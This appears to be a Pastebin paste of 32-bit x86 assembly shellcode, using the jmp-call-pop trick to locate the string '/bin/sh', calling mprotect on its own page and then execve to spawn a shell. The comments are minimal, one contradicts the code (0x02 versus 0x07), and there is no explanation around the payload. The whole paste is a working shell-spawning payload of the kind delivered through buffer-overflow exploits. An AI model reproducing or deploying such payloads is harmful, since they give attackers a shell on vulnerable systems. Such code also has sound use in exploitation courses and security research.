Guest User

Untitled

a guest
Jul 17th, 2016
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. BITS 32
  2.  
  3. section .text
  4. global _start
  5.  
  6. _start:
  7.   jmp short two
  8. one:
  9.   ; mprotect (_start, 4096, 0x02)
  10.   mov eax, 125
  11.   mov ebx, _start
  12.   and ebx, 0xFFFFF000
  13.   mov ecx, 0x1000
  14.   mov edx, 0x07
  15.   int 0x80
  16.  
  17.   pop ebx
  18.   xor eax, eax
  19.   mov [ebx + 7], al
  20. ;  mov [ebx + 8], ebp
  21. ;  mov [ebx + 12], eax
  22. ;  lea ecx, [ebp + 8]
  23. ;  lea edx, [ebp + 12]
  24.   mov ecx, eax
  25.   mov edx, eax
  26.   mov eax, 11
  27.   int 0x80
  28.   ; exit(0)
  29.   mov eax, 1
  30.   xor ebx, ebx
  31.   int 0x80
  32. two:
  33.   call one
  34.   db '/bin/shXAAAABBBB'
Advertisement
Add Comment
Please, Sign In to add comment